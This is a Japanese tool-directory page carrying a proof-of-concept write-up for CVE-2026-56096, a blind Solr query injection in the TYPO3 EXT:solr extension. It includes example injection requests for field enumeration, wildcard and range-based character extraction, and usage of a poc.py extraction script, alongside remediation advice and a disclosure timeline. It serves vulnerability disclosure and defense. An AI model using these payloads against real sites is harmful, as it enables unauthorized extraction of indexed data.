Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-56096 — CVE-2026-56096の概念実証および技術解説。TYPO3 EXT:solrにおけるブラインドSolrクエリインジェクションで、未認証でのフィールド列挙とデータ抽出を可能にする。 | Kitploit
ツール/GitHubGitHub/yairhinkis/cve-2026-56096
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ウェブセキュリティ論文と研究
GitHubyairhinkis/cve-2026-56096

CVE-2026-56096

CVE-2026-56096の概念実証および技術解説。TYPO3 EXT:solrにおけるブラインドSolrクエリインジェクションで、未認証でのフィールド列挙とデータ抽出を可能にする。

リポジトリを見る
34529日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-56096: TYPO3 EXT:solr における Solr クエリインジェクションとブラインドデータ抽出

公式の TYPO3 Apache Solr 拡張機能(EXT:solr / apache-solr-for-typo3/solr)にアーキテクチャ上のセキュリティ脆弱性が発見されました。この問題により、未認証のリモート攻撃者が検索パラメータ tx_solr[q] を介して任意の Solr/Lucene クエリ構文を注入できるようになり、検索インデックスからの不正なブラインドフィールド列挙および完全なメタデータ抽出が可能になります。


メタデータ

  • CVE ID: CVE-2026-56096
  • 脆弱性の種類: CWE-943: データクエリロジックにおける特殊要素の中和不備
  • 対象コンポーネント: EXT:solr(検索パラメータ: tx_solr[q])
  • CVSS v4.0 スコア: 6.3 (Medium) — CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
  • 研究者: Yair Hinkis

脆弱性の概要

EXT:solr 拡張機能は、tx_solr[q] パラメータを介してユーザー提供の検索語を受け取り、それを Apache Solr エンジンに転送します。設計上、この拡張機能はファセットフィルタリングなどの正規の機能をサポートするために、ワイルドカード(*)、単一文字ワイルドカード(?)、フィールドセレクタ(:)、範囲クエリ([a TO z])といった特定のクエリ演算子を許可しています。

これらの文字が、強制力のあるホワイトリストやクエリアブストラクションレイヤーを経由せずにバックエンドのクエリ構築へ直接渡されていたため、攻撃者はフィールド固有の構文を供給して意図された検索境界を脱出できます。これにより、未認証のユーザーが内部の Solr フィールドを直接クエリし、ブールベースのブラインド手法を用いてインデックスデータを抽出できるようになります。


攻撃手法

1. field:* によるフィールド列挙

任意または推測されたフィールド名にワイルドカードを付加することで、攻撃者はそのフィールドがスキーマ内に存在するかどうかを検証できます:

GET /search?tx_solr[q]=siteHash:* HTTP/1.1
Host: target.example.com

フィールドが存在する場合、Solr は一致するすべてのレコードに対してクエリを処理し(多くの場合、異なるレスポンスコードやボリューム関連の挙動を引き起こす)、自動化されたワードリストベースのフィールド列挙を可能にします。


2. プレフィックスワイルドカードによるブラインド値抽出

攻撃者はブール推論を用いて、機密フィールドの値を1文字ずつ抽出できます。

GET /search?tx_solr[q]=siteHash:a* HTTP/1.1  --> Returns search hits (Value begins with 'a')
GET /search?tx_solr[q]=siteHash:b* HTTP/1.1  --> "Nothing found" (Value does not begin with 'b')

3. ? 演算子による長さ検出

単一文字ワイルドカード演算子(?)は、文字の反復処理を開始する前に、格納されている文字列の正確な長さを判定できます。

GET /search?tx_solr[q]=siteHash:????????????* HTTP/1.1   (Checks for 12+ characters)
GET /search?tx_solr[q]=siteHash:?????????????* HTTP/1.1  (Checks for 13+ characters)

4. 高速化された範囲クエリ ([a TO z])

範囲クエリは先頭文字に対する二分探索による抽出を可能にし、文字位置ごとに必要なリクエスト数を26回から約5回に削減します:

GET /search?tx_solr[q]=siteHash:[a TO m] HTTP/1.1  --> Determines if character falls within 'a'-'m'
GET /search?tx_solr[q]=siteHash:[n TO z] HTTP/1.1  --> Determines if character falls within 'n'-'z'

長さ検出、範囲クエリ、プレフィックスワイルドカードを組み合わせることで、最小限のリクエストフットプリントでフィールド全体を抽出できます。


概念実証 / 使用方法

上記で概説した手法を用いたブラインド抽出を実演するため、自動検証スクリプト(poc.py)が提供されています。

使用例

python3 poc.py -u "https://target.example.com/?L=0&id=1" -f "someField"

オプション

  • -u, --url: TYPO3 検索エンドポイントを指すターゲット URL。

  • -f, --field: 列挙/抽出するスキーマフィールド名(例: appKey、siteHash)。

  • -c, --cookies: (オプション)認証/WAF バイパスの検証が必要な場合のセッション Cookie。

  • -o, --output: 発見されたプレフィックスを保存する出力ファイル(デフォルト: validated_fields.txt)。


影響

  • 機密性の侵害: Apache Solr にインデックスされたすべてのフィールドの完全な抽出(内部システムハッシュ、非表示のページコンテンツ、ユーザー関連のメタデータ、システム識別子など)。
  • アクセス制御のバイパス: フロントエンドの検索フィルターおよび TypoScript の表示制限をバイパスします。
  • 範囲: EXT:solr 検索エンドポイントを利用するすべてのデフォルトインストールに影響しました。

修復

* や : といった演算子は意図された検索機能を担っているため、グローバルな文字エスケープでは不十分です。修復にはアプリケーション層でのホワイトリストとパースモデルが必要です:

  1. Solr エンジンにディスパッチする前に、ユーザー提供のクエリ文字列を抽象構文木(AST)にパースします。
  2. 許可されるフィールドターゲットに対して厳格な許可リストを適用し、内部フィールドや制限付きフィールドに対するユーザーの直接クエリを禁止します。
  3. 信頼できない入力コンテキストに由来する、ホワイトリスト外の演算子の悪用を無効化します。

協調的開示のタイムライン

  • 2026年3月6日: 許可された評価中に脆弱性を特定。ベンダーへ初回通知。
  • 2026年4月17日: ベンダーがローカルエッジでの緩和策を実装。上流のバグであることを確認。
  • 2026年5月8日: TYPO3 セキュリティチーム([email protected])へ正式な脆弱性レポートを提出。
  • 2026年6月15日: TYPO3 セキュリティチームが再現を確認し、拡張機能メンテナーとともにパッチ開発を開始。
  • 2026年8月25日: 公式セキュリティ速報を発行、パッチを公開、CVE-2026-56096 を割り当て。

参考資料

  • TYPO3 セキュリティアドバイザリ: TYPO3-EXT-SA-2026-025
  • CWE 定義: CWE-943: Improper Neutralization of Special Elements in Data Query Logic
ツールをダウンロード